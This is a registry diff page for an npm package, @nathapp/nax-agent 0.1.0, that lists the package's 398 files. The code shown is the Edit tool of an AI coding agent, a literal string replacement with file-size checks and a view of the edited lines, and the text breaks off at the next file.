@nathapp/nax-agent 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (398) hide show
  1. package/CHANGELOG.md +24 -0
  2. package/LICENSE +21 -0
  3. package/README.md +49 -0
  4. package/dist/coding-tools/coding-tool-bash.d.ts +46 -0
  5. package/dist/coding-tools/coding-tool-bash.js +44 -0
  6. package/dist/coding-tools/coding-tool-extras.d.ts +35 -0
  7. package/dist/coding-tools/coding-tool-extras.js +56 -0
  8. package/dist/coding-tools/coding-tool-sandbox.d.ts +74 -0
  9. package/dist/coding-tools/coding-tool-sandbox.js +215 -0
  10. package/dist/coding-tools/coding-tool-support.d.ts +132 -0
  11. package/dist/coding-tools/coding-tool-support.js +159 -0
  12. package/dist/coding-tools/universal-coding-tools.d.ts +11 -0
  13. package/dist/coding-tools/universal-coding-tools.js +5 -0
  14. package/dist/command-interceptor/index.d.ts +55 -0
  15. package/dist/command-interceptor/index.js +60 -0
  16. package/dist/command-interceptor/shell.d.ts +36 -0
  17. package/dist/command-interceptor/shell.js +137 -0
  18. package/dist/command-safety/build.d.ts +19 -0
  19. package/dist/command-safety/build.js +47 -0
  20. package/dist/command-safety/guard.d.ts +32 -0
  21. package/dist/command-safety/guard.js +179 -0
  22. package/dist/command-safety/identifiers.d.ts +24 -0
  23. package/dist/command-safety/identifiers.js +20 -0
  24. package/dist/command-safety/index.d.ts +17 -0
  25. package/dist/command-safety/index.js +11 -0
  26. package/dist/command-safety/questions.d.ts +19 -0
  27. package/dist/command-safety/questions.js +60 -0
  28. package/dist/command-safety/row.d.ts +2 -0
  29. package/dist/command-safety/row.js +14 -0
  30. package/dist/command-safety/rule-scorer.d.ts +9 -0
  31. package/dist/command-safety/rule-scorer.js +391 -0
  32. package/dist/command-safety/shadow.d.ts +33 -0
  33. package/dist/command-safety/shadow.js +188 -0
  34. package/dist/command-safety/systemone-client.d.ts +16 -0
  35. package/dist/command-safety/systemone-client.js +92 -0
  36. package/dist/command-safety/tap.d.ts +37 -0
  37. package/dist/command-safety/tap.js +77 -0
  38. package/dist/command-safety/temp-only.d.ts +6 -0
  39. package/dist/command-safety/temp-only.js +215 -0
  40. package/dist/command-safety/tmp-write.d.ts +2 -0
  41. package/dist/command-safety/tmp-write.js +112 -0
  42. package/dist/command-safety/types.d.ts +185 -0
  43. package/dist/command-safety/types.js +21 -0
  44. package/dist/config/bash-approval.d.ts +33 -0
  45. package/dist/config/bash-approval.js +30 -0
  46. package/dist/config/catalog-overrides.d.ts +94 -0
  47. package/dist/config/catalog-overrides.js +7 -0
  48. package/dist/config/native-agent/index.d.ts +8 -0
  49. package/dist/config/native-agent/index.js +8 -0
  50. package/dist/config/schemas-sandbox.d.ts +31 -0
  51. package/dist/config/schemas-sandbox.js +45 -0
  52. package/dist/cost/core/index.d.ts +8 -0
  53. package/dist/cost/core/index.js +7 -0
  54. package/dist/cost/estimate.d.ts +34 -0
  55. package/dist/cost/estimate.js +65 -0
  56. package/dist/cost/model-spec.d.ts +28 -0
  57. package/dist/cost/model-spec.js +29 -0
  58. package/dist/cost/standard-types.d.ts +9 -0
  59. package/dist/cost/standard-types.js +1 -0
  60. package/dist/cost/usage-math.d.ts +18 -0
  61. package/dist/cost/usage-math.js +46 -0
  62. package/dist/index.d.ts +26 -0
  63. package/dist/index.js +21 -0
  64. package/dist/infra/agent-logger.d.ts +22 -0
  65. package/dist/infra/agent-logger.js +19 -0
  66. package/dist/infra/credentials-config.d.ts +20 -0
  67. package/dist/infra/credentials-config.js +15 -0
  68. package/dist/infra/errors.d.ts +9 -0
  69. package/dist/infra/errors.js +11 -0
  70. package/dist/infra/index.d.ts +7 -0
  71. package/dist/infra/index.js +7 -0
  72. package/dist/infra/nax-error.d.ts +10 -0
  73. package/dist/infra/nax-error.js +16 -0
  74. package/dist/infra/spin-breaker/hash.d.ts +2 -0
  75. package/dist/infra/spin-breaker/hash.js +5 -0
  76. package/dist/infra/spin-breaker/index.d.ts +120 -0
  77. package/dist/infra/spin-breaker/index.js +340 -0
  78. package/dist/internal/agent-output-env.d.ts +44 -0
  79. package/dist/internal/agent-output-env.js +57 -0
  80. package/dist/internal/argv-exec.d.ts +58 -0
  81. package/dist/internal/argv-exec.js +224 -0
  82. package/dist/internal/bounded-io.d.ts +24 -0
  83. package/dist/internal/bounded-io.js +51 -0
  84. package/dist/internal/command-spec/index.d.ts +29 -0
  85. package/dist/internal/command-spec/index.js +36 -0
  86. package/dist/internal/describe-value-type.d.ts +8 -0
  87. package/dist/internal/describe-value-type.js +14 -0
  88. package/dist/internal/exec-framing.d.ts +18 -0
  89. package/dist/internal/exec-framing.js +22 -0
  90. package/dist/internal/file-lock.d.ts +91 -0
  91. package/dist/internal/file-lock.js +212 -0
  92. package/dist/internal/file-size.d.ts +2 -0
  93. package/dist/internal/file-size.js +12 -0
  94. package/dist/internal/git-add.d.ts +43 -0
  95. package/dist/internal/git-add.js +59 -0
  96. package/dist/internal/git-env.d.ts +59 -0
  97. package/dist/internal/git-env.js +93 -0
  98. package/dist/internal/git-exec.d.ts +58 -0
  99. package/dist/internal/git-exec.js +115 -0
  100. package/dist/internal/path-file-lock.d.ts +23 -0
  101. package/dist/internal/path-file-lock.js +25 -0
  102. package/dist/internal/process-alive.d.ts +42 -0
  103. package/dist/internal/process-alive.js +56 -0
  104. package/dist/internal/process-kill.d.ts +27 -0
  105. package/dist/internal/process-kill.js +54 -0
  106. package/dist/internal/realpath.d.ts +29 -0
  107. package/dist/internal/realpath.js +52 -0
  108. package/dist/internal/redact.d.ts +40 -0
  109. package/dist/internal/redact.js +161 -0
  110. package/dist/internal/shell-quote.d.ts +2 -0
  111. package/dist/internal/shell-quote.js +4 -0
  112. package/dist/internal/sort.d.ts +20 -0
  113. package/dist/internal/sort.js +20 -0
  114. package/dist/internal/strip-control-chars.d.ts +19 -0
  115. package/dist/internal/strip-control-chars.js +38 -0
  116. package/dist/internal/thenable.d.ts +10 -0
  117. package/dist/internal/thenable.js +15 -0
  118. package/dist/internal.d.ts +91 -0
  119. package/dist/internal.js +91 -0
  120. package/dist/native/adapter-deps.d.ts +46 -0
  121. package/dist/native/adapter-deps.js +43 -0
  122. package/dist/native/auth-types.d.ts +70 -0
  123. package/dist/native/auth-types.js +13 -0
  124. package/dist/native/auth.d.ts +133 -0
  125. package/dist/native/auth.js +362 -0
  126. package/dist/native/client.d.ts +50 -0
  127. package/dist/native/client.js +174 -0
  128. package/dist/native/complete.d.ts +33 -0
  129. package/dist/native/complete.js +88 -0
  130. package/dist/native/credentials/chained-store.d.ts +30 -0
  131. package/dist/native/credentials/chained-store.js +68 -0
  132. package/dist/native/credentials/change-guard.d.ts +51 -0
  133. package/dist/native/credentials/change-guard.js +136 -0
  134. package/dist/native/credentials/exec-source.d.ts +50 -0
  135. package/dist/native/credentials/exec-source.js +222 -0
  136. package/dist/native/credentials/fingerprint.d.ts +26 -0
  137. package/dist/native/credentials/fingerprint.js +174 -0
  138. package/dist/native/credentials/helper-process.d.ts +79 -0
  139. package/dist/native/credentials/helper-process.js +259 -0
  140. package/dist/native/credentials/helper-protocol.d.ts +36 -0
  141. package/dist/native/credentials/helper-protocol.js +79 -0
  142. package/dist/native/credentials/index.d.ts +60 -0
  143. package/dist/native/credentials/index.js +184 -0
  144. package/dist/native/errors.d.ts +34 -0
  145. package/dist/native/errors.js +109 -0
  146. package/dist/native/index.d.ts +25 -0
  147. package/dist/native/index.js +23 -0
  148. package/dist/native/model-resolver.d.ts +57 -0
  149. package/dist/native/model-resolver.js +73 -0
  150. package/dist/native/models.d.ts +116 -0
  151. package/dist/native/models.js +183 -0
  152. package/dist/native/session/ask-human.d.ts +15 -0
  153. package/dist/native/session/ask-human.js +22 -0
  154. package/dist/native/session/compaction.d.ts +94 -0
  155. package/dist/native/session/compaction.js +170 -0
  156. package/dist/native/session/handle-invalid-tool-call.d.ts +111 -0
  157. package/dist/native/session/handle-invalid-tool-call.js +159 -0
  158. package/dist/native/session/loop-events/cache-boundary.d.ts +11 -0
  159. package/dist/native/session/loop-events/cache-boundary.js +29 -0
  160. package/dist/native/session/loop-events/external-handler.d.ts +38 -0
  161. package/dist/native/session/loop-events/external-handler.js +193 -0
  162. package/dist/native/session/loop-events/index.d.ts +16 -0
  163. package/dist/native/session/loop-events/index.js +15 -0
  164. package/dist/native/session/loop-events/payload-guard.d.ts +9 -0
  165. package/dist/native/session/loop-events/payload-guard.js +31 -0
  166. package/dist/native/session/loop-events/registry.d.ts +84 -0
  167. package/dist/native/session/loop-events/registry.js +305 -0
  168. package/dist/native/session/loop-events/types.d.ts +251 -0
  169. package/dist/native/session/loop-events/types.js +14 -0
  170. package/dist/native/session/loop-handlers.d.ts +73 -0
  171. package/dist/native/session/loop-handlers.js +137 -0
  172. package/dist/native/session/nudge.d.ts +29 -0
  173. package/dist/native/session/nudge.js +35 -0
  174. package/dist/native/session/rate-provenance.d.ts +17 -0
  175. package/dist/native/session/rate-provenance.js +39 -0
  176. package/dist/native/session/session.d.ts +139 -0
  177. package/dist/native/session/session.js +208 -0
  178. package/dist/native/session/tool-input-exemplar.d.ts +2 -0
  179. package/dist/native/session/tool-input-exemplar.js +66 -0
  180. package/dist/native/session/tool-input-validation.d.ts +15 -0
  181. package/dist/native/session/tool-input-validation.js +146 -0
  182. package/dist/native/session/tool-mapping.d.ts +18 -0
  183. package/dist/native/session/tool-mapping.js +27 -0
  184. package/dist/native/session/tool-result.d.ts +37 -0
  185. package/dist/native/session/tool-result.js +25 -0
  186. package/dist/native/session/transcript-store.d.ts +77 -0
  187. package/dist/native/session/transcript-store.js +200 -0
  188. package/dist/native/session/truncation-handler.d.ts +47 -0
  189. package/dist/native/session/truncation-handler.js +83 -0
  190. package/dist/native/session/turn-accumulator.d.ts +45 -0
  191. package/dist/native/session/turn-accumulator.js +67 -0
  192. package/dist/native/session/turn-ask-human.d.ts +23 -0
  193. package/dist/native/session/turn-ask-human.js +41 -0
  194. package/dist/native/session/turn-compaction-step.d.ts +74 -0
  195. package/dist/native/session/turn-compaction-step.js +128 -0
  196. package/dist/native/session/turn-complete-step.d.ts +77 -0
  197. package/dist/native/session/turn-complete-step.js +159 -0
  198. package/dist/native/session/turn-end-event.d.ts +3 -0
  199. package/dist/native/session/turn-end-event.js +17 -0
  200. package/dist/native/session/turn-events.d.ts +63 -0
  201. package/dist/native/session/turn-events.js +48 -0
  202. package/dist/native/session/turn-loop-round-trip.d.ts +116 -0
  203. package/dist/native/session/turn-loop-round-trip.js +318 -0
  204. package/dist/native/session/turn-loop.d.ts +23 -0
  205. package/dist/native/session/turn-loop.js +250 -0
  206. package/dist/native/session/turn-result.d.ts +39 -0
  207. package/dist/native/session/turn-result.js +64 -0
  208. package/dist/native/session/turn-retry.d.ts +120 -0
  209. package/dist/native/session/turn-retry.js +182 -0
  210. package/dist/native/session/turn-tool-batch.d.ts +61 -0
  211. package/dist/native/session/turn-tool-batch.js +259 -0
  212. package/dist/native/session/turn-types.d.ts +164 -0
  213. package/dist/native/session/turn-types.js +36 -0
  214. package/dist/native/session-adapter.d.ts +56 -0
  215. package/dist/native/session-adapter.js +369 -0
  216. package/dist/native/session-affinity.d.ts +36 -0
  217. package/dist/native/session-affinity.js +43 -0
  218. package/dist/native/tier-providers.d.ts +18 -0
  219. package/dist/native/tier-providers.js +20 -0
  220. package/dist/permissions/approval-audit.d.ts +10 -0
  221. package/dist/permissions/approval-audit.js +22 -0
  222. package/dist/permissions/approvals-link.d.ts +20 -0
  223. package/dist/permissions/approvals-link.js +62 -0
  224. package/dist/permissions/approvals-store.d.ts +168 -0
  225. package/dist/permissions/approvals-store.js +259 -0
  226. package/dist/permissions/approvals-taint.d.ts +33 -0
  227. package/dist/permissions/approvals-taint.js +138 -0
  228. package/dist/permissions/ask-chain.d.ts +69 -0
  229. package/dist/permissions/ask-chain.js +32 -0
  230. package/dist/permissions/ask.d.ts +23 -0
  231. package/dist/permissions/ask.js +25 -0
  232. package/dist/permissions/bash-lex.d.ts +59 -0
  233. package/dist/permissions/bash-lex.js +279 -0
  234. package/dist/permissions/grammar.d.ts +12 -0
  235. package/dist/permissions/grammar.js +24 -0
  236. package/dist/permissions/index.d.ts +11 -0
  237. package/dist/permissions/index.js +9 -0
  238. package/dist/permissions/secret-spans.d.ts +19 -0
  239. package/dist/permissions/secret-spans.js +88 -0
  240. package/dist/permissions/types.d.ts +85 -0
  241. package/dist/permissions/types.js +1 -0
  242. package/dist/runtime/index.d.ts +3 -0
  243. package/dist/runtime/index.js +2 -0
  244. package/dist/runtime/node-glob.d.ts +3 -0
  245. package/dist/runtime/node-glob.js +83 -0
  246. package/dist/runtime/node-runtime.d.ts +3 -0
  247. package/dist/runtime/node-runtime.js +126 -0
  248. package/dist/runtime/slot.d.ts +11 -0
  249. package/dist/runtime/slot.js +17 -0
  250. package/dist/runtime/types.d.ts +51 -0
  251. package/dist/runtime/types.js +1 -0
  252. package/dist/runtime/which.d.ts +8 -0
  253. package/dist/runtime/which.js +32 -0
  254. package/dist/sandbox/argv-quote.d.ts +11 -0
  255. package/dist/sandbox/argv-quote.js +13 -0
  256. package/dist/sandbox/defaults.d.ts +27 -0
  257. package/dist/sandbox/defaults.js +47 -0
  258. package/dist/sandbox/git-guards.d.ts +64 -0
  259. package/dist/sandbox/git-guards.js +161 -0
  260. package/dist/sandbox/index.d.ts +11 -0
  261. package/dist/sandbox/index.js +10 -0
  262. package/dist/sandbox/launcher.d.ts +37 -0
  263. package/dist/sandbox/launcher.js +160 -0
  264. package/dist/sandbox/messages.d.ts +17 -0
  265. package/dist/sandbox/messages.js +46 -0
  266. package/dist/sandbox/policy-builder.d.ts +44 -0
  267. package/dist/sandbox/policy-builder.js +149 -0
  268. package/dist/sandbox/policy-inputs.d.ts +53 -0
  269. package/dist/sandbox/policy-inputs.js +76 -0
  270. package/dist/sandbox/probe.d.ts +8 -0
  271. package/dist/sandbox/probe.js +66 -0
  272. package/dist/sandbox/registry.d.ts +17 -0
  273. package/dist/sandbox/registry.js +57 -0
  274. package/dist/sandbox/session-tmp.d.ts +20 -0
  275. package/dist/sandbox/session-tmp.js +95 -0
  276. package/dist/sandbox/srt-backend.d.ts +21 -0
  277. package/dist/sandbox/srt-backend.js +99 -0
  278. package/dist/sandbox/types.d.ts +102 -0
  279. package/dist/sandbox/types.js +1 -0
  280. package/dist/session/adapter-failure.d.ts +60 -0
  281. package/dist/session/adapter-failure.js +11 -0
  282. package/dist/session/agent-stream-events.d.ts +103 -0
  283. package/dist/session/agent-stream-events.js +6 -0
  284. package/dist/session/interaction-handler.d.ts +53 -0
  285. package/dist/session/interaction-handler.js +2 -0
  286. package/dist/session/no-op-interaction-handler.d.ts +9 -0
  287. package/dist/session/no-op-interaction-handler.js +11 -0
  288. package/dist/session/protocol-types.d.ts +12 -0
  289. package/dist/session/protocol-types.js +1 -0
  290. package/dist/session/session-types.d.ts +456 -0
  291. package/dist/session/session-types.js +64 -0
  292. package/dist/session/tool-descriptor.d.ts +23 -0
  293. package/dist/session/tool-descriptor.js +5 -0
  294. package/dist/session/turn-deadline.d.ts +17 -0
  295. package/dist/session/turn-deadline.js +23 -0
  296. package/dist/tools/ask-request.d.ts +35 -0
  297. package/dist/tools/ask-request.js +57 -0
  298. package/dist/tools/bash-cwd.d.ts +82 -0
  299. package/dist/tools/bash-cwd.js +55 -0
  300. package/dist/tools/bash.d.ts +69 -0
  301. package/dist/tools/bash.js +283 -0
  302. package/dist/tools/delete.d.ts +57 -0
  303. package/dist/tools/delete.js +154 -0
  304. package/dist/tools/denial-redirect.d.ts +42 -0
  305. package/dist/tools/denial-redirect.js +266 -0
  306. package/dist/tools/deny-paths.d.ts +35 -0
  307. package/dist/tools/deny-paths.js +76 -0
  308. package/dist/tools/edit-region.d.ts +50 -0
  309. package/dist/tools/edit-region.js +90 -0
  310. package/dist/tools/edit.d.ts +25 -0
  311. package/dist/tools/edit.js +114 -0
  312. package/dist/tools/exec-allowlist-text.d.ts +18 -0
  313. package/dist/tools/exec-allowlist-text.js +24 -0
  314. package/dist/tools/exec-guard.d.ts +69 -0
  315. package/dist/tools/exec-guard.js +151 -0
  316. package/dist/tools/git-commit.d.ts +59 -0
  317. package/dist/tools/git-commit.js +220 -0
  318. package/dist/tools/git-flags/index.d.ts +10 -0
  319. package/dist/tools/git-flags/index.js +10 -0
  320. package/dist/tools/git.d.ts +88 -0
  321. package/dist/tools/git.js +397 -0
  322. package/dist/tools/glob.d.ts +29 -0
  323. package/dist/tools/glob.js +153 -0
  324. package/dist/tools/grep.d.ts +21 -0
  325. package/dist/tools/grep.js +162 -0
  326. package/dist/tools/index.d.ts +36 -0
  327. package/dist/tools/index.js +28 -0
  328. package/dist/tools/narrow-grants.d.ts +19 -0
  329. package/dist/tools/narrow-grants.js +54 -0
  330. package/dist/tools/nax-owned-writes.d.ts +135 -0
  331. package/dist/tools/nax-owned-writes.js +259 -0
  332. package/dist/tools/package-managers-table.d.ts +146 -0
  333. package/dist/tools/package-managers-table.js +325 -0
  334. package/dist/tools/package-managers-types.d.ts +36 -0
  335. package/dist/tools/package-managers-types.js +6 -0
  336. package/dist/tools/package-managers.d.ts +85 -0
  337. package/dist/tools/package-managers.js +391 -0
  338. package/dist/tools/path-list.d.ts +38 -0
  339. package/dist/tools/path-list.js +62 -0
  340. package/dist/tools/policy-bash-raw.d.ts +19 -0
  341. package/dist/tools/policy-bash-raw.js +210 -0
  342. package/dist/tools/policy-bash.d.ts +64 -0
  343. package/dist/tools/policy-bash.js +232 -0
  344. package/dist/tools/policy-command-branch.d.ts +32 -0
  345. package/dist/tools/policy-command-branch.js +63 -0
  346. package/dist/tools/policy-input.d.ts +2 -0
  347. package/dist/tools/policy-input.js +10 -0
  348. package/dist/tools/policy-match.d.ts +75 -0
  349. package/dist/tools/policy-match.js +117 -0
  350. package/dist/tools/policy-paths-branch.d.ts +97 -0
  351. package/dist/tools/policy-paths-branch.js +314 -0
  352. package/dist/tools/policy.d.ts +65 -0
  353. package/dist/tools/policy.js +232 -0
  354. package/dist/tools/protected-paths.d.ts +26 -0
  355. package/dist/tools/protected-paths.js +8 -0
  356. package/dist/tools/provider-adapt.d.ts +4 -0
  357. package/dist/tools/provider-adapt.js +32 -0
  358. package/dist/tools/provider-advertise.d.ts +39 -0
  359. package/dist/tools/provider-advertise.js +50 -0
  360. package/dist/tools/provider-grants.d.ts +36 -0
  361. package/dist/tools/provider-grants.js +72 -0
  362. package/dist/tools/provider-sanitize.d.ts +19 -0
  363. package/dist/tools/provider-sanitize.js +53 -0
  364. package/dist/tools/provider-types.d.ts +41 -0
  365. package/dist/tools/provider-types.js +26 -0
  366. package/dist/tools/read-continuation.d.ts +147 -0
  367. package/dist/tools/read-continuation.js +176 -0
  368. package/dist/tools/read-file.d.ts +32 -0
  369. package/dist/tools/read-file.js +85 -0
  370. package/dist/tools/read.d.ts +25 -0
  371. package/dist/tools/read.js +182 -0
  372. package/dist/tools/registry.d.ts +125 -0
  373. package/dist/tools/registry.js +67 -0
  374. package/dist/tools/request-capability.d.ts +13 -0
  375. package/dist/tools/request-capability.js +23 -0
  376. package/dist/tools/run-command-exec.d.ts +14 -0
  377. package/dist/tools/run-command-exec.js +161 -0
  378. package/dist/tools/run-command.d.ts +107 -0
  379. package/dist/tools/run-command.js +398 -0
  380. package/dist/tools/runtime-calltool.d.ts +146 -0
  381. package/dist/tools/runtime-calltool.js +223 -0
  382. package/dist/tools/runtime.d.ts +149 -0
  383. package/dist/tools/runtime.js +345 -0
  384. package/dist/tools/scratchpad.d.ts +20 -0
  385. package/dist/tools/scratchpad.js +197 -0
  386. package/dist/tools/spill.d.ts +81 -0
  387. package/dist/tools/spill.js +251 -0
  388. package/dist/tools/tool-audit.d.ts +171 -0
  389. package/dist/tools/tool-audit.js +183 -0
  390. package/dist/tools/truncate.d.ts +98 -0
  391. package/dist/tools/truncate.js +297 -0
  392. package/dist/tools/types.d.ts +145 -0
  393. package/dist/tools/types.js +24 -0
  394. package/dist/tools/verb-denial-argv-hint.d.ts +35 -0
  395. package/dist/tools/verb-denial-argv-hint.js +40 -0
  396. package/dist/tools/write.d.ts +9 -0
  397. package/dist/tools/write.js +45 -0
  398. package/package.json +54 -0
@@ -0,0 +1,90 @@
1
+ /**
2
+ * Edit's literal replacement (US-001).
3
+ *
4
+ * `String.prototype.replace` reads a string replacement as a template and
5
+ * expands `$$`, `$&`, `` $` `` and `$'` inside it, so
6
+ * `source.replace(oldString, newString)` writes something other than the
7
+ * characters the model supplied whenever `new_string` contains one of those
8
+ * patterns — `"a".replace("a", "x$$y$&z")` returns `x$yaz`. Composing the
9
+ * result by hand keeps every character literal.
10
+ *
11
+ * File-local on purpose, matching `src/tools/read-continuation.ts`: the
12
+ * helper is a property of the `Edit` composition, nothing else composes it,
13
+ * and `src/tools` does not export it from its barrel — `edit.ts` imports it
14
+ * by relative path.
15
+ *
16
+ * US-002 extends the module with `composeEditRegion`, the bounded
17
+ * Read-compatible view of the region an Edit just wrote: the `[lines a-b of
18
+ * N]` header and the selected lines, with elision when the replacement spans
19
+ * more than `MAX_REGION_LINES_SHOWN` lines. Deterministic string composition
20
+ * — no LLM, no config, no new tool arguments.
21
+ */
22
+ import { splitModelLines } from "./truncate.js";
23
+ /** Context lines shown on each side of the replacement. */
24
+ const CONTEXT_LINES = 3;
25
+ /** Above this many replacement lines the view elides the middle. */
26
+ const MAX_REGION_LINES_SHOWN = 8;
27
+ function countNewlines(text) {
28
+ let count = 0;
29
+ for (let i = 0; i < text.length; i += 1) {
30
+ if (text[i] === "\n")
31
+ count += 1;
32
+ }
33
+ return count;
34
+ }
35
+ /**
36
+ * The bounded, Read-compatible view of the region an Edit wrote: a
37
+ * `[lines a-b of N]` header and the selected lines, or `[file is now empty]`
38
+ * for an emptied file. Has no trailing newline, and cannot throw on any
39
+ * string input.
40
+ */
41
+ export function composeEditRegion({ updated, matchIndex, newStringLength }) {
42
+ const lines = splitModelLines(updated);
43
+ const total = lines.length;
44
+ // Rule 6 — an emptied file has no lines to show and no range to name.
45
+ if (total === 0)
46
+ return "[file is now empty]";
47
+ // Rule 1/2 — the start line and the line holding the replacement's last
48
+ // character, each clamped to N so a deletion at the very end of a file
49
+ // still names a real line. A pure deletion has no characters of its own,
50
+ // so its end line is its start line.
51
+ const start = Math.min(total, 1 + countNewlines(updated.slice(0, matchIndex)));
52
+ const end = newStringLength > 0
53
+ ? Math.min(total, 1 + countNewlines(updated.slice(0, matchIndex + newStringLength - 1)))
54
+ : start;
55
+ // Rule 3 — the window is CONTEXT_LINES on each side of the replacement.
56
+ const a = Math.max(1, start - CONTEXT_LINES);
57
+ const b = Math.min(total, end + CONTEXT_LINES);
58
+ const header = `[lines ${a}-${b} of ${total}]`;
59
+ // Rule 4 — a replacement longer than MAX_REGION_LINES_SHOWN is elided in
60
+ // the middle: the context and the first 3 replaced lines, a marker naming
61
+ // the omitted range, then the last 3 replaced lines and the context.
62
+ // Rule 5 — otherwise the whole window is shown.
63
+ const selected = end - start + 1 > MAX_REGION_LINES_SHOWN
64
+ ? [
65
+ ...lines.slice(a - 1, start + 2),
66
+ `[... lines ${start + 3}-${end - 3} not shown ...]`,
67
+ ...lines.slice(end - 3, b),
68
+ ]
69
+ : lines.slice(a - 1, b);
70
+ // Rule 7 — the content has no trailing newline. A window whose last line
71
+ // is blank (`b` sits on an empty line, or the file is a lone newline) would
72
+ // otherwise leave the joining delimiter at the very end, so trailing empty
73
+ // lines are dropped rather than emitted as a bare "\n".
74
+ let view = [header, ...selected].join("\n");
75
+ while (view.endsWith("\n"))
76
+ view = view.slice(0, -1);
77
+ return view;
78
+ }
79
+ /**
80
+ * Replace the single occurrence of `oldString` at `matchIndex` with
81
+ * `newString`, literally.
82
+ *
83
+ * The caller has already established uniqueness (`countOccurrences` in
84
+ * `edit.ts`) and passes the index `source.indexOf(oldString)` found, so this
85
+ * is pure slicing: everything before the match, the new text verbatim, and
86
+ * everything after it. No `replace`, and therefore no substitution patterns.
87
+ */
88
+ export function replaceUniqueLiteral(source, oldString, newString, matchIndex) {
89
+ return source.slice(0, matchIndex) + newString + source.slice(matchIndex + oldString.length);
90
+ }
@@ -0,0 +1,25 @@
1
+ /**
2
+ * Replace one exact occurrence in a file.
3
+ *
4
+ * old_string/new_string rather than a line range (design section 10, question
5
+ * 3): the contract verifies itself. A stale match fails loudly, where a line
6
+ * range would silently overwrite whatever had moved into those lines.
7
+ *
8
+ * Like Write, this has no production consumer in C1.
9
+ */
10
+ import type { CodingTool } from "./registry.ts";
11
+ /** The file I/O `editTool` performs, behind one seam so a test can make a read or a write fail. */
12
+ export interface EditDeps {
13
+ stat(path: string): Promise<{
14
+ readonly size: number;
15
+ }>;
16
+ readFile(path: string, encoding: "utf8"): Promise<string>;
17
+ writeFile(path: string, data: string, encoding: "utf8"): Promise<void>;
18
+ }
19
+ /**
20
+ * Injectable fs seam, mirroring `_grepDeps` / `_promptLoaderDeps`: the
21
+ * read/write error arms of `Edit` must be reachable deterministically —
22
+ * permission bits cannot deny a write to root, and never to a Windows ACL.
23
+ */
24
+ export declare const _editDeps: EditDeps;
25
+ export declare const editTool: CodingTool;
@@ -0,0 +1,114 @@
1
+ /**
2
+ * Replace one exact occurrence in a file.
3
+ *
4
+ * old_string/new_string rather than a line range (design section 10, question
5
+ * 3): the contract verifies itself. A stale match fails loudly, where a line
6
+ * range would silently overwrite whatever had moved into those lines.
7
+ *
8
+ * Like Write, this has no production consumer in C1.
9
+ */
10
+ import { readFile, stat, writeFile } from "node:fs/promises";
11
+ import { composeEditRegion, replaceUniqueLiteral } from "./edit-region.js";
12
+ /**
13
+ * Injectable fs seam, mirroring `_grepDeps` / `_promptLoaderDeps`: the
14
+ * read/write error arms of `Edit` must be reachable deterministically —
15
+ * permission bits cannot deny a write to root, and never to a Windows ACL.
16
+ */
17
+ export const _editDeps = {
18
+ stat: (path) => stat(path),
19
+ readFile: (path, encoding) => readFile(path, encoding),
20
+ writeFile: (path, data, encoding) => writeFile(path, data, encoding),
21
+ };
22
+ function countOccurrences(haystack, needle) {
23
+ if (needle === "")
24
+ return 0;
25
+ let count = 0;
26
+ let index = haystack.indexOf(needle);
27
+ while (index !== -1) {
28
+ count += 1;
29
+ index = haystack.indexOf(needle, index + needle.length);
30
+ }
31
+ return count;
32
+ }
33
+ export const editTool = {
34
+ name: "Edit",
35
+ description: "Replace one exact occurrence of old_string with new_string in a repository file. Fails if the match is absent or ambiguous. On success the result shows the edited lines with up to 3 lines of context and their line range, so you do not need to Read the file again to check the edit.",
36
+ inputSchema: {
37
+ type: "object",
38
+ properties: {
39
+ path: { type: "string", description: "Path relative to the repository root" },
40
+ old_string: { type: "string", description: "Exact text to replace; must occur exactly once" },
41
+ new_string: { type: "string", description: "Replacement text" },
42
+ },
43
+ required: ["path", "old_string", "new_string"],
44
+ },
45
+ scope: { pathFields: ["path"] },
46
+ async run(input, ctx) {
47
+ const [target] = ctx.resolvedPaths;
48
+ if (target === undefined)
49
+ return { content: "no path supplied", isError: true };
50
+ const oldString = input.old_string;
51
+ const newString = input.new_string;
52
+ if (typeof oldString !== "string" || typeof newString !== "string") {
53
+ return { content: "old_string and new_string must be strings", isError: true };
54
+ }
55
+ // Checked before reading, not after: Edit must hold the whole file to
56
+ // replace within it, so the only way to bound the memory is to refuse.
57
+ try {
58
+ const { size } = await _editDeps.stat(target);
59
+ if (size > ctx.maxFileBytes) {
60
+ return {
61
+ // The reason leads and the path trails, matching Write's and
62
+ // ScratchpadWrite's refusal shape. A tool result is capped before the
63
+ // model reads it, and a head cut keeps the leading bytes: a message
64
+ // that opens with a long path has its diagnosis cut away first, which
65
+ // is the one sentence the model needs (src/tools/grep.ts states the
66
+ // same rule for its literal-search caveat).
67
+ content: `the file is ${size} bytes, which exceeds the ${ctx.maxFileBytes}-byte file ceiling -- refusing to edit ${target}`,
68
+ isError: true,
69
+ };
70
+ }
71
+ }
72
+ catch (err) {
73
+ return { content: err instanceof Error ? err.message : String(err), isError: true };
74
+ }
75
+ let source;
76
+ try {
77
+ source = await _editDeps.readFile(target, "utf8");
78
+ }
79
+ catch (err) {
80
+ return { content: err instanceof Error ? err.message : String(err), isError: true };
81
+ }
82
+ const occurrences = countOccurrences(source, oldString);
83
+ if (occurrences === 0) {
84
+ return { content: `old_string not found in ${target}; the file may have changed`, isError: true };
85
+ }
86
+ if (occurrences > 1) {
87
+ return {
88
+ content: `old_string is ambiguous: found ${occurrences} times. Include more surrounding context.`,
89
+ isError: true,
90
+ };
91
+ }
92
+ try {
93
+ // Literal composition, NOT `source.replace(oldString, newString)`: a
94
+ // string replacement is read as a template, so the dollar-substitution
95
+ // patterns it recognises (a dollar sign followed by a dollar sign, an
96
+ // ampersand, a backtick, or an apostrophe) inside new_string would be
97
+ // expanded instead of written -- see src/tools/edit-region.ts. The
98
+ // uniqueness checks above proved there is exactly one match, so
99
+ // `indexOf` is that match.
100
+ const matchIndex = source.indexOf(oldString);
101
+ const updated = replaceUniqueLiteral(source, oldString, newString, matchIndex);
102
+ await _editDeps.writeFile(target, updated, "utf8");
103
+ // The view is composed only after the write resolves: a write error
104
+ // returns the error, never a view. It is a bounded Read-compatible
105
+ // slice of the region that changed, so the model does not have to
106
+ // Read the file back to see where its edit landed.
107
+ const region = composeEditRegion({ updated, matchIndex, newStringLength: newString.length });
108
+ return { content: `edited ${target}\n${region}` };
109
+ }
110
+ catch (err) {
111
+ return { content: err instanceof Error ? err.message : String(err), isError: true };
112
+ }
113
+ },
114
+ };
@@ -0,0 +1,18 @@
1
+ /**
2
+ * Renders a compiled Exec grant's raw patterns as prose, one sentence
3
